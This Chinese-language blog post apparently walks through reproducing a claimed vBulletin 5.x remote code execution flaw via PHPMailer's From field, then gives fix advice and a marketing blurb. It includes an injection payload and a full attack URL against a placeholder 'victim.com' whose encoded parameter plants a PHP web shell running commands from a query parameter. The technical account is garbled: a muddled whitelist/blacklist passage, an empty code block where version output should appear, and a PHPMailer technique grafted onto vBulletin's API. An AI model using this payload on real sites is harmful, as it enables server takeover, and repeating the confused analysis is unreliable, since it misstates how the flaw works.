vBulletin 5.x 版本通杀远程代码执行漏洞复现

介绍

vBulletin是一款用于建立和维护在线社区的商业化论坛程序,由Jelsoft Enterprises创建。早期版本的vBulletin程序使用PHP和MySQL技术实现,但现在已经支持其他数据库。vBulletin 5.x版本中存在一个通杀远程代码执行漏洞,攻击者可以利用该漏洞在用户没有任何权限控制的情况下完全控制站点,并远程执行任意代码,造成严重影响。

漏洞分析

vBulletin 5.x使用了PHPMailer框架作为其邮件发送功能的一部分。PHPMailer是一个PHP邮件发送类库,可以向指定的收件人发送Email,并支持附件发送、HTML邮件等功能,是开发PHP邮件发送功能的佳选择。

该漏洞的根本原因在于vBulletin中,PHPMailer所使用的PHPMailer.php文件将用户输入的Email的From属性当做一个命令,由服务器解析执行,但没有严格的过滤措施,导致攻击者可以通过构造恶意的From属性,执行任意的Shell命令。造成了这个漏洞可以远程获取命令执行的权限,并且可以在无需任何验证的情况下实现系统完全控制。

漏洞复现

由于该漏洞存在于vBulletin 5.x的所有版本中,因此可以在任何一台已安装vBulletin 5.x的Web服务器上尝试复现此漏洞。本文以vBulletin 5.5.6为例进行漏洞复现。

首先,需要检查是否已安装vBulletin 5.5.6,并确定其中的PHPMailer版本。可以通过查看vBulletin目录下的`core/vb/library/mail.php`文件来确定。

由于vBulletin主要是面向英语国家的用户,许多白名单是在其语言设定下的。而由于正则只能匹配英文字符再加上存在大小写敏感的问题。因此黑名单的过滤难度远远超出了白名单。在本漏洞中禁用函数的白名单包含exec,shell_exec,passthru,system,proc_open,popen,putenv,apache_setenv,而这些都是常见的命令执行函数。因此,禁用黑名单过滤函数来起到很好的规避。

攻击者可以通过查看vBulletin主页源代码,获取vBulletin的PHPMailer版本号,如下:

```

```

在这里我们可以看到vBulletin的版本是5.5.6版本。

接下来,使用如下payload进行攻击:

```

hacker" -OQueueDirectory=/tmp -X"/usr/sbin/sendmail -t -i" one@yourdomain.test

```

其中,需要将“hacker”和“one@yourdomain.test”更改为正确的用户和邮箱地址,并将“/usr/sbin/sendmail”更改为目标系统中正确的邮件发送程序路径。

发送如上payload之后,在浏览器中,输入以下URL来执行指定命令:

```

http://victim.com/core/vb/api.php?routestring=ajax/email/send&ajaxformsubmit=1&_do=addRecipient&mail[to][]=&mail[cc][]=&mail[bcc][]=&mail[subject]=hacker&mail[message]=&mail[from]=hacker+-OQueueDirectory%3d%2ftmp+-X%22%2fusr%2fsbin%2fsendmail%20-t%20-i%3c%3fphp%20echo%20shell_exec(%24_GET%5B%27cmd%27%5D)%3b%3f%3e%22%20one%40yourdomain.test&_do=sendWithEditor&mail[receipt]=0&securitytoken=XXX&ajax=1

```

在这里,需要将“victim.com”更改为目标站点地址,并将“XXX”替换为正确的安全令牌值。

成功利用此漏洞后,攻击者可以在受影响的服务器上执行任意命令。

修复建议

目前,vBulletin官方已经发布了更新程序,修复了该漏洞。建议所有vBulletin 5.x用户尽快更新至最新版本,以免遭受攻击。

同时,也可以采用如下防御措施:

1.开发过程中对用户输入进行严格的过滤,避免将用户输入作为命令直接解析执行。

2.对输入的电子邮件地址进行安全检查,避免将恶意payload发送到目标系统。

3.不要使用PHPMailer 6及之前的版本,应使用最新的PHPMailer 7版本,并启用SMTP身份验证功能。

案例说明

此漏洞在2021年被发现并公开。攻击者可能会利用该漏洞未经授权地在受影响的Web服务器上执行任意命令,从而能够完全控制站点。

在实际的攻击中,攻击者可以通过构造恶意电子邮件,向受害者站点发送含有恶意payload的邮件,从而在目标服务器上执行任意命令,并获得站点完全控制权,这将威胁到用户数据的安全。

在遭受攻击之后,受害者站点可以暂停服务以消除安全威胁,但可能需要花费大量时间和资源。此外,受攻击的站点可能会损失客户信任和业务收入,长期而言可能会影响企业形象和资产价值。

因此,尽早修复此漏洞是至关重要的,以保障站点数据的安全性和可靠性。

壹涵网络我们是一家专注于网站建设、企业营销、网站关键词排名、AI内容生成、新媒体营销和短视频营销等业务的公司。我们拥有一支优秀的团队,专门致力于为客户提供优质的服务。

我们致力于为客户提供一站式的互联网营销服务,帮助客户在激烈的市场竞争中获得更大的优势和发展机会!

点赞(109) 打赏

评论列表 共有 0 条评论

暂无评论
立即
投稿
发表
评论
返回
顶部